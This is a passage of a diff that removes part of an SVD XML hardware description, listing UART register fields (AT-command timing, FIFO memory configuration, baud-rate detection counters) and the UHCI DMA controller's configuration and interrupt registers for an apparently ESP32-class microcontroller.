-              <name>PRE_IDLE_NUM</name>
-              <description>This register is used to configure the idle duration time before the first at_cmd is received by receiver. when the the duration is less than this register value it will not take the next data received as at_cmd char.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AT_CMD_POSTCNT</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00186A00</resetValue>
-          <fields>
-            <field>
-              <name>POST_IDLE_NUM</name>
-              <description>This register is used to configure the duration time between the last at_cmd and the next data. when the duration is less than this register value  it will not take the previous data as at_cmd char.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AT_CMD_GAPTOUT</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00001E00</resetValue>
-          <fields>
-            <field>
-              <name>RX_GAP_TOUT</name>
-              <description>This register is used to configure the duration time between the at_cmd chars. when the duration time is less than this register value it will not take the datas as continous at_cmd chars.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AT_CMD_CHAR</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000032B</resetValue>
-          <fields>
-            <field>
-              <name>AT_CMD_CHAR</name>
-              <description>This register is used to configure the content of at_cmd char.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHAR_NUM</name>
-              <description>This register is used to configure the num of continous at_cmd chars received by receiver.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MEM_CONF</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000088</resetValue>
-          <fields>
-            <field>
-              <name>MEM_PD</name>
-              <description>Set this bit to power down mem.when reg_mem_pd registers in the 3 uarts are all set to 1  mem will enter low power mode.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_SIZE</name>
-              <description>This register is used to configure the amount of mem allocated to receiver's fifo. the default byte num is 128.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_SIZE</name>
-              <description>This register is used to configure the amount of mem allocated to transmitter's fifo.the default byte num is 128.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FLOW_THRHD_H3</name>
-              <description>refer to the rx_flow_thrhd's describtion.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_TOUT_THRHD_H3</name>
-              <description>refer to the rx_tout_thrhd's describtion.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XON_THRESHOLD_H2</name>
-              <description>refer to the uart_xon_threshold's describtion.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XOFF_THRESHOLD_H2</name>
-              <description>refer to the uart_xoff_threshold's describtion.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_MEM_FULL_THRHD</name>
-              <description>refer to the rxfifo_full_thrhd's describtion.</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_MEM_EMPTY_THRHD</name>
-              <description>refer to txfifo_empty_thrhd 's describtion.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MEM_TX_STATUS</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MEM_TX_STATUS</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MEM_RX_STATUS</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MEM_RX_STATUS</name>
-              <description>This register stores the current uart rx mem read address  and rx mem write address </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RX_RD_ADDR</name>
-              <description>This register stores the rx mem read address </description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RX_WR_ADDR</name>
-              <description>This register stores the rx mem write address </description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MEM_CNT_STATUS</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_MEM_CNT</name>
-              <description>refer to the rxfifo_cnt's describtion.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_MEM_CNT</name>
-              <description>refer to the txfifo_cnt's describtion.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>POSPULSE</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000FFFFF</resetValue>
-          <fields>
-            <field>
-              <name>POSEDGE_MIN_CNT</name>
-              <description>This register stores the count of rxd posedge edge. it is used in boudrate-detect process.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>NEGPULSE</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000FFFFF</resetValue>
-          <fields>
-            <field>
-              <name>NEGEDGE_MIN_CNT</name>
-              <description>This register stores the count of rxd negedge edge. it is used in boudrate-detect process.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x15122500</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ID</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000500</resetValue>
-          <fields>
-            <field>
-              <name>ID</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral derivedFrom="UART0">
-      <name>UART1</name>
-      <description>UART (Universal Asynchronous Receiver-Transmitter) Controller</description>
-      <baseAddress>0x3FF50000</baseAddress>
-      <interrupt>
-        <name>UART1</name>
-        <value>35</value>
-      </interrupt>
-    </peripheral>
-    <peripheral derivedFrom="UART0">
-      <name>UART2</name>
-      <description>UART (Universal Asynchronous Receiver-Transmitter) Controller</description>
-      <baseAddress>0x3FF6E000</baseAddress>
-      <interrupt>
-        <name>UART2</name>
-        <value>36</value>
-      </interrupt>
-    </peripheral>
-    <peripheral>
-      <name>UHCI0</name>
-      <description>Universal Host Controller Interface</description>
-      <groupName>UHCI</groupName>
-      <baseAddress>0x3FF54000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xC8</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>UHCI0</name>
-        <value>12</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>CONF0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00370100</resetValue>
-          <fields>
-            <field>
-              <name>IN_RST</name>
-              <description>Set this bit to reset in link operations.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_RST</name>
-              <description>Set this bit to reset out link operations.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_FIFO_RST</name>
-              <description>Set this bit to reset dma ahb fifo.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_RST</name>
-              <description>Set this bit to reset dma  ahb interface.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_LOOP_TEST</name>
-              <description>Set this bit to enable loop test for in links.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_LOOP_TEST</name>
-              <description>Set this bit to enable loop test for out links.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_AUTO_WRBACK</name>
-              <description>when in link's length is 0  go on to use the next in link automatically.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_NO_RESTART_CLR</name>
-              <description>don't use</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_EOF_MODE</name>
-              <description>Set this bit to produce eof after DMA pops all data  clear this bit to produce eof after DMA pushes all data</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART0_CE</name>
-              <description>Set this bit to use UART to transmit or receive data.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART1_CE</name>
-              <description>Set this bit to use UART1 to transmit or receive data.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART2_CE</name>
-              <description>Set this bit to use UART2 to transmit or receive data.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTDSCR_BURST_EN</name>
-              <description>Set this bit to enable DMA in links to use burst mode.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INDSCR_BURST_EN</name>
-              <description>Set this bit to enable DMA out links to use burst mode.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DATA_BURST_EN</name>
-              <description>Set this bit to enable DMA burst MODE</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_TRANS_EN</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEPER_EN</name>
-              <description>Set this bit to use special char to separate the data frame.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HEAD_EN</name>
-              <description>Set this bit to enable to use head packet  before the data frame.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CRC_REC_EN</name>
-              <description>Set this bit to enable receiver''s ability of crc calculation  when crc_en bit in head packet is 1 then there will be crc bytes after data_frame</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART_IDLE_EOF_EN</name>
-              <description>Set this bit to enable to use idle time  when the idle time after data frame is satisfied  this means the end of a data frame.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LEN_EOF_EN</name>
-              <description>Set this bit to enable to use packet_len in packet head  when the received data is equal to packet_len  this means the end of a data frame.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ENCODE_CRC_EN</name>
-              <description>Set this bit to enable crc calculation for data frame when bit6 in the head packet is 1.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <description>Set this bit to enable clock-gating for read or write registers.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UART_RX_BRK_EOF_EN</name>
-              <description>Set this bit to enable to use brk char as the end of a data frame.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_START_INT_RAW</name>
-              <description>when a separator char has been send  it will produce uhci_rx_start_int interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_START_INT_RAW</name>
-              <description>when DMA detects a separator char it will produce uhci_tx_start_int interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_RAW</name>
-              <description>when DMA takes a lot of time to receive a data   it will produce uhci_rx_hung_int interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_RAW</name>
-              <description>when DMA takes a lot of time to read a data from RAM  it will produce uhci_tx_hung_int interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_RAW</name>
-              <description>when a in link descriptor has been completed it will produce uhci_in_done_int interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_RAW</name>
-              <description>when a data packet has been received  it will produce uhci_in_suc_eof_int interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_RAW</name>
-              <description>when there are some errors about eof in in link descriptor  it will produce uhci_in_err_eof_int interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_RAW</name>
-              <description>when a out link descriptor is completed  it will produce uhci_out_done_int interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_RAW</name>
-              <description>when the current descriptor's eof bit is 1  it will produce uhci_out_eof_int interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_RAW</name>
-              <description>when there are some errors about the out link descriptor  it will produce uhci_in_dscr_err_int interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_RAW</name>
-              <description>when there are some errors about the in link descriptor  it will produce uhci_out_dscr_err_int interrupt.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_RAW</name>
-              <description>when there are not enough in links for DMA it will produce uhci_in_dscr_err_int interrupt.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUTLINK_EOF_ERR_INT_RAW</name>
-              <description>when there are some errors about eof in outlink descriptor  it will produce uhci_outlink_eof_err_int interrupt.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_RAW</name>
-              <description>When all data have been send  it will produce uhci_out_total_eof_int interrupt.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SEND_S_Q_INT_RAW</name>
-              <description>When use single send registers to send a short packets it will produce this interrupt when dma has send the short packet.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SEND_A_Q_INT_RAW</name>
-              <description>When use always_send registers to send a series of short packets it will produce this interrupt when dma has send the short packet.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DMA_INFIFO_FULL_WM_INT_RAW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_START_INT_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_START_INT_ST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_ST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_ST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_ST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_ST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_ST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_ST</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_ST</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_ST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_ST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUTLINK_EOF_ERR_INT_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_ST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SEND_S_Q_INT_ST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SEND_A_Q_INT_ST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DMA_INFIFO_FULL_WM_INT_ST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_START_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_START_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_EOF_ERR_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_S_Q_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_A_Q_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMA_INFIFO_FULL_WM_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_START_INT_CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_START_INT_CLR</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_CLR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_CLR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_CLR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_CLR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUTLINK_EOF_ERR_INT_CLR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SEND_S_Q_INT_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SEND_A_Q_INT_CLR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>DMA_INFIFO_FULL_WM_INT_CLR</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_STATUS</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000002</resetValue>
-          <fields>
-            <field>
-              <name>OUT_FULL</name>
-              <description>1:DMA out link descriptor's fifo is full.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_EMPTY</name>
-              <description>1:DMA in link descriptor's fifo is empty.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_PUSH</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTFIFO_WDATA</name>
-              <description>This is the data need to be pushed into out link descriptor's fifo.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTFIFO_PUSH</name>
-              <description>Set this bit to push data in out link descriptor's fifo.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_STATUS</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000002</resetValue>
-          <fields>
-            <field>
-              <name>IN_FULL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_EMPTY</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_ERR_CAUSE</name>
-              <description>This register stores the errors caused in out link descriptor's data packet.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_POP</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INFIFO_RDATA</name>
-              <description>This register stores the data pop from in link descriptor's fifo.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>INFIFO_POP</name>
-              <description>Set this bit to pop data in in link descriptor's fifo.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_LINK</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_ADDR</name>
